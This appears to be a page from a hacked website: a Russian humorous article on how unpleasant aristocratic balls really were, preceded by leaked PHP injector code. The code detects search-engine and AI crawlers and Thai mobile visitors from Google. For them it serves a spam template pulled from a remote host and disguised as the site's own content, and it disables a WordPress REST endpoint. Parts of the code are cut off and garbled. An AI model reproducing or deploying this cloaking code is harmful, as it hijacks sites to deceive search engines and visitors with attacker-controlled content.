$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Адский «корпоратив». Как выглядел настоящий бал? — Вечный путь к совершенству

Адский «корпоратив». Как выглядел настоящий бал?

О балах мы думаем возвышенно. Ах, Наташа Ростова, ах, Андрей Болконский! Но все наши представления – из кино или романов. На самом деле, там было не так прекрасно и романтично. Даже совсем не прекрасно. И не дай бог современной Наташе оказаться на таком балу, она бы сбежала оттуда в ужасе.

Итак, сперва наряды. Само одевание занимало часы. Юбки, подъюбники, панталоны, корсеты. Вот эти последние – настоящая экзекуция. Юным девушкам еще ничего, можно без них, а дамы в возрасте уже были упитанны, йогой и диетами никто тогда не увлекался, а ели черт знает сколько и до глубокой ночи. Свои пухлые тела дамы затягивали в корсеты с помощью нескольких человек. Им было плохо, они с трудом могли дышать, но проклятый бал обязывал.

Кстати, у мужчин тоже были корсеты, утягивать животы.

В восемнадцатом столетии требовались и обильные парики, нередко в них заводились вши. Но надо терпеть, терпеть, терпеть.

После мучительной процедуры одевания аристократы, наконец, втискивались в кареты, при этом за женщинами несли подолы их платьев: кругом была жуткая грязь.

Рассмотрим теперь помещение, где давались балы. В любом приличном особняке непременно имелся большой зал. Как раз для балов. Тот дворец, куда 31 декабря ехала Наташа Ростова, находился в Петербурге на Английской набережной, и туда собирался явиться государь. Так что ясно: это дом высшего госчиновника, ну уровня нынешнего вице-премьера. И ясно, что зал был очень большой. Вроде простор. Но вспомним главное: тысячи свечей освещали этот зал. Окна плотно закрыты: мороз. Продукты горения заполняют все пространство. А еще парфюмы. Они были густыми и маслянистыми. Они пахли так, что если бы сейчас около вас оказалась женщина с таким ароматом, вы бы ее треснули по голове. И этих парфюмов тут сотни. Горячий воск, мерзкие духи, а еще жир, которыми начищали сапоги офицеры. Прекрасная атмосфера.

Косметика, между прочим, тоже была жутковатой, беленые лица дам превращались в маски. Мужчин не пускали без белых перчаток. Попробуйте целый вечер провести в лайковых перчатках дома, да вы чокнетесь.

Люди съезжаются, людей очень много. И спустя минут тридцать в зале уже почти нечем дышать. Думаете, веера нужны были для красоты и прикрывать лукавые улыбки? Нет! Это были кондиционеры той эпохи. Дамы обмахивались рьяно, потому что корсеты давят, воздуха нет, им плохо.

Но потом начинался главный кошмар – танцы. Нет, сами по себе полонезы и менуэты были красивы. Правда, чесались головы под париками, но терпим, пляшем. А в начале 19 века популярным танцем стала мазурка. Это быстрый танец, он требовал физической ловкости, это было сродни небольшому спортивному занятию. Разумеется, все потели. То есть к жуткому амбре в душном зале добавлялся еще один компонент.

Кроме того, дико грохотали сапоги с подковками. Кавалеры же лихо отплясывали. Есть воспоминания, как этот стук просто заглушал оркестровую музыку. Представляете весь этот ад?

И тогда дамы грохались в обморок. Это вообще было обычным явлением. Ну, представьте, что вас на три часа запрут в жаркой вонючей комнате, где дикий шум. А еще заставят там выделывать коленца. Да вы закричите: «Выпустите меня, я не хочу никакого Болконского!». Нормальная реакция современного человека.

Но в ту ужасную пору вынуждены были терпеть, улыбаться, шутить. И падать в обмороки.

Есть знаменитая история, как на одном нашем балу, когда дамы грохались одна за другой, находчивый кавалер выбил шпагой окно. И в зале внезапно пошел снег. Обычная физика. Скопилось много влажных паров, и когда ворвался морозный воздух, пары стали превращаться в снег.

Да, это было тяжелым испытанием. И если молодые еще могли от души оттягиваться, особенно крепко выпив, то люди в возрасте буквально дурели от вони и грохота. Сейчас мы спокойно валим с корпоратива, если он надоел. А тогда уйти было нельзя: протокольное мероприятие. Хозяева бала зорко следят, кто как себя ведет, кто куда пошел. Уйти раньше – ну это как сейчас плеснуть вином в лицо начальнику. А если в зале сам император, либо кто-то из царской семьи – это совсем кирдык. Пока главный не ушел – стоять, бояться, плясать.

Уж не говоря о такой мелочи как туалет. Дамы же пили вино, им было надо иногда выходить. Нет, вы представьте, как они во всех этих панталонах-корсетах страдали. Это не выскочить «Ой, я на минутку!». Это церемония очень надолго.

Нет, бал – сущая мука. Преисподняя. Долгая казнь. Не верьте кино и романам.

Автор Алексей БЕЛЯКОВ